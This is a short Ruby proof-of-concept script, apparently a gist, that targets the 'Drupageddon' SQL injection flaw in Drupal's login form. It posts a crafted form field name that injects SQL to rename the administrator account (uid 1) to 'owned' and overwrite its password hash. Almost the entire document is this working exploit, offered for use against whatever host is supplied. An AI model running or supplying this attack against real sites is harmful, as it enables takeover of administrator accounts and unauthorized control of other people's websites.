#drupageddon PoC (untested)

gistfile1.rb

require 'net/http'
require 'uri'
require 'optparse'

options = {}

OptionParser.new do |opts|
  opts.banner = "Usage: poc.rb [options]"

  opts.on("-d", "--drupal_url=drupal_host", "Define the url for your drupalsite without. (www.domain.tld)") do |drupal_url|
    options[:drupal_url] = drupal_url
  end
end.parse!

url_var = "http://#{options[:drupal_url]}/?q=node&destination=node"
puts url_var
uri_drup = URI.parse("http://#{options[:drupal_url]}/?q=node&destination=node")
http_drup = Net::HTTP.new(uri_drup.host, uri_drup.port)
request_drup = Net::HTTP::Post.new(uri_drup.request_uri)
request_drup.add_field('User-Agent', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0')
request_drup.add_field('Referer', "http://#{options[:drupal_url]}")
request_drup.add_field('Cookie', 'Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1')
request_drup.add_field('Content-Length', '231')
request_drup.set_form_data({
                        "name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]"    =>  "test3",
                        "name[0]"  =>  "test",
                        "pass"  =>  "shit2",
                        "test2" =>  "test",
                        "form_build_id" =>  "",
                        "form_id"   =>  "user_login_block",
                        "op"    =>  "Log+in"
                      })
response_drup = http_drup.request(request_drup)